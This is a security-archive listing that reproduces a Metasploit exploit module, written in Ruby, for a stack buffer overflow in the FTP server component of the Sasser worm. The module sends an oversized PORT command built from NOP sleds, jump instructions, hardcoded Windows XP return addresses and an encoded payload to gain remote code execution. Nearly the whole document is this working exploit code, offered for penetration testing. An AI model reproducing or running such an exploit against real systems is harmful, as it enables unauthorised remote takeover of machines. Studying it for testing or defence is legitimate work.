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Sasser Worm avserve FTP PORT Buffer Overflow

Sasser Worm avserve FTP PORT Buffer Overflow
Posted Nov 26, 2009
Authored by patrick, Val Smith, chamuco | Site metasploit.com

This Metasploit module exploits the FTP server component of the Sasser worm. By sending an overly long PORT command the stack can be overwritten.

tags | exploit, worm
SHA-256 | 5d5c22dfbd84d41c7c21a45e5676f648dbcc83cd3302d47b1a95c27ace3b87f0

Sasser Worm avserve FTP PORT Buffer Overflow

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name' => 'Sasser Worm avserve FTP PORT Buffer Overflow',
'Description' => %q{
This module exploits the FTP server component of the Sasser worm.
By sending an overly long PORT command the stack can be overwritten.
},
'Author' => [ 'valsmith [at] metasploit.com>', 'chamuco [at] gmail.com>', 'patrick' ],
'Arch' => [ ARCH_X86 ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'OSVDB', '6197'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Platform' => ['win'],
'Privileged' => false,
'Payload' =>
{
'Space' => 480,
'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
'StackAdjustment' => -3500,
},
'Targets' =>
[
[ 'Windows XP SP0', { 'Ret' => 0x71aa32ad } ], #p/p/r ws2help.dll
[ 'Windows XP SP1', { 'Ret' => 0x77e7633a } ], #p/p/r
],
'DisclosureDate' => 'May 10 2004',
'DefaultTarget' => 1))

register_options(
[
Opt::RPORT(5554),
], self.class)
end

def exploit
connect

print_status("Trying target #{target.name}...")

sploit = make_nops(267) + Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target['Ret']].pack('V')
sploit << Rex::Arch::X86.jmp(0xfffffc13) + make_nops(15) + payload.encoded + make_nops(1530)

send_cmd( ['PORT', sploit] , false)

handler
disconnect
end

end
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